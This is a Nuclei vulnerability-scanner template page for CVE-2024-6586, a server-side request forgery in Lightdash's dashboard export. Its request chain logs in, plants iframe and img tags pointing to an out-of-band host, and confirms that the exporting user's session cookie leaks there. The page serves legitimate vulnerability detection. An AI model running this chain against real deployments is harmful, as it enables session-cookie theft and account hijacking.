Lightdash v0.1024.6 - Server-Side Request Forgery

ID: CVE-2024-6586

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,lightdash,ssrf,oast,authenticated

Description

Server-Side Request Forgery (“SSRF”) in the export dashboard functionality of Lightdash version 0.1024.6 allows remote authenticated threat actors to obtain the session cookie of any user who exports a crafted dashboard. When they are exported, dashboards containing HTML elements can trigger HTTP requests to an external domain that contain the exporting user’s session cookie. The cookie could be stolen by a threat actor and used to hijack application user sessions.

YAML Source

id: CVE-2024-6586

info:
  name: Lightdash v0.1024.6 - Server-Side Request Forgery
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Server-Side Request Forgery (“SSRF”) in the export dashboard functionality of Lightdash version 0.1024.6 allows remote authenticated threat actors to obtain the session cookie of any user who exports a crafted dashboard. When they are exported, dashboards containing HTML elements can trigger HTTP requests to an external domain that contain the exporting user’s session cookie. The cookie could be stolen by a threat actor and used to hijack application user sessions.
  reference:
    - https://github.com/google/security-research/security/advisories/GHSA-4h7x-6vxh-7hjf
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6586
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 7.3
    cve-id: CVE-2024-6586
    cwe-id: CWE-201
    cpe: cpe:2.3:a:lightdash:lightdash:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    verified: true
    shodan-query: title:"Lightdash"
    vendor: lightdash
    product: lightdash
  tags: cve,cve2024,lightdash,ssrf,oast,authenticated

flow: http(1) && http(2) && http(3) && http(4) && http(5)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{username}}","password":"{{password}}"}

  - raw:
      - |
        GET /api/v1/org/projects HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: projectuuid
        part: body
        json:
          - '.results[0].projectUuid'
        internal: true

  - raw:
      - |
        POST /api/v1/projects/{{projectuuid}}/dashboards HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"Test","description":"Test","tiles":[]}

    extractors:
      - type: json
        name: dashuuid
        part: body
        json:
          - '.results.uuid'
        internal: true

  - raw:
      - |
        PATCH /api/v1/dashboards/{{dashuuid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"tiles":[{"uuid":"00000000-0000-0000-0000-000000000000","x":0,"y":0,"h":9,"w":15,"type":"markdown","properties":{"title":"title","hideTitle":false,"content":"<iframe src=\"http://{{interactsh-url}}\">frame</iframe>\n\n<img src=\"http://{{interactsh-url}}\">img</img>\n"}}],"filters":{"dimensions":[],"metrics":[],"tableCalculations":[]},"name":"my dashboard"}

    matchers:
      - type: word
        part: body
        words:
          - '"status":"ok"'
        internal: true

  - raw:
      - |
        POST /api/v1/dashboards/{{dashuuid}}/export HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"queryFilters":"","gridWidth":1400}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "connect.sid=")'
          - 'contains(body, "status\":\"ok")'
        condition: and
# digest: 4a0a0047304502203f7564ec3ec8dd8adaec5d71af052aa27121493de0c8d70da136762374f7740e022100dc488a5a6e29797dfc4507dd9d34473dd172cdca5d85c3b43b6bb848de584c29:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6586.yaml"

View on Github